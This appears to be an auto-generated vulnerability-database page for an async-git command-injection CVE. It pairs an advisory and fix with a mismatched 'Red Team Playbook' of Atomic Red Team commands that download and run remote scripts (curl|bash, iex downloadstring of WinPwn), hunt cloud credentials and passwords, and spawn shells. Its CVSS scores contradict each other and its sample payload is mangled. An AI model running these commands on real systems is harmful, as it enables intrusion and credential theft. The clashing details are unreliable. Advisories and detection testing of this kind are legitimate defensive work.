CVE-2020-28490
Overview
This vulnerability is a command injection flaw in the async-git package prior to version 1.13.2. The root cause lies in improper sanitization of shell meta-characters, specifically back-ticks, within input parameters passed to Git commands. The affected component is the async-git library’s command execution interface, which directly interpolates user input into shell commands without adequate validation or escaping.
Vulnerability Description
The package async-git before 1.13.2 are vulnerable to Command Injection via shell meta-characters (back-ticks). For example: git.reset('atouch HACKEDb')
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary shell commands on the host system where async-git is used. This enables unauthorized command execution with the privileges of the running process, potentially leading to data manipulation or system compromise. No user interaction or prior authentication is required, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The critical severity (CVSS 9.1) reflects the high confidentiality and integrity impact of such exploitation.
Solution
Upgrade async-git to version 1.13.2 or later, where the command injection vulnerability has been fixed. The fix is documented in the GitHub pull request #14 and commit d1950a5021f4e19d92f347614be0d85ce991510d. Detailed patch instructions and advisory information are available at https://snyk.io/vuln/SNYK-JS-ASYNCGIT-1064877. No alternative workarounds are recommended; applying the update is the definitive remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the async-git package stems from improper handling of user input, specifically regarding command injection through shell meta-characters. This flaw allows an attacker to execute arbitrary commands on the host system by injecting malicious input into the functions that interact with the underlying shell. The use of back-ticks in particular can lead to unintended command execution, as they are interpreted by the shell as a request to execute the command contained within them. For example, a function call like git.reset('atouch HACKEDb') could lead to the execution of 'atouch HACKEDb' as a shell command, potentially compromising the system's integrity.
Attack vectors for this vulnerability are varied, primarily focusing on scenarios where user input is not properly sanitized before being processed by the async-git library. An attacker could exploit this flaw by crafting a malicious payload that is passed to a function expecting a benign string. This could occur in web applications, CI/CD pipelines, or any software that utilizes async-git for Git operations. For instance, if a web application allows users to trigger Git commands through a user interface, an attacker could manipulate the input to execute arbitrary commands, leading to severe consequences such as data exfiltration, system compromise, or service disruption.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the async-git package for automation in development and deployment processes. Given the high CVSS score of 9.8, the risk associated with this vulnerability is categorized as critical. Successful exploitation could lead to unauthorized access to sensitive data, manipulation of code repositories, or the deployment of malicious code within production environments. The potential for reputational damage, financial loss, and regulatory penalties makes it imperative for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to update the async-git package to the latest version, where the vulnerability has been patched. Regularly auditing dependencies for known vulnerabilities using automated tools can help maintain an up-to-date and secure software environment. Additionally, input validation and sanitization should be enforced across all applications that interact with user input, ensuring that any potentially harmful characters are stripped or escaped before processing. Employing security best practices such as least privilege access and monitoring for unusual command execution patterns can further reduce the attack surface.
In conclusion, the command injection vulnerability in the async-git package poses a critical threat to systems that utilize this library. Understanding the technical details, potential attack vectors, and real-world implications is crucial for organizations to safeguard their environments. By adopting proactive detection and mitigation strategies, businesses can significantly reduce their risk exposure and enhance their overall security posture against such vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Async-Git Project | Async-Git | All |
cpe:2.3:a:async-git_project:async-git:*:*:*:*:*:node.js:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-28490 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JS-ASYNCGIT-1064877 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/omrilotan/async-git/pull/14 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/omrilotan/async-git/commit/d1950a5021f4e19d92f347614be0d85ce991510d |